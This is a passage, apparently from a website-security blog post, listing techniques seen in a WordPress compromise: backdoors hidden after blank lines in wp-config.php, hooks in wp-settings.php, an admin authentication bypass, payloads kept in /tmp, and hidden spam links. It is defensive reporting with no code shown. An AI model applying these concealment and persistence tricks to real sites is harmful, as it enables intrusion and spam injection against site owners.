Backdoor code in wp-config.php is placed after a couple of thousand blank lines (the trick I previously saw in .htaccess files only) Using WordPress hooks in wp-settings.php instead on injecting the code directly into theme files (will survive a theme change, but won’t survive a WordPress upgrade) Using backdoor code to bypass WordPress admin authentication. GET requests to backdoors. Injecting malicious content from a file in a system’s temporary directory (/tmp). (You only need one backdoor per server to change the injected code on multiple hacked blogs) Using backdoors on compromised sites to conduct distributed Google searches. Changing the injected content from malicious scripts to spammy links. Hiding links inside an invisible form. Placing hidden link inside the <head> section ## Your comments and additional information on this hack are welcome! Related posts: Hackers target unpatched WooFramework Hacked WordPress Blogs Poison Google Images Versatile .CC Attacks Introduction to Website Parasites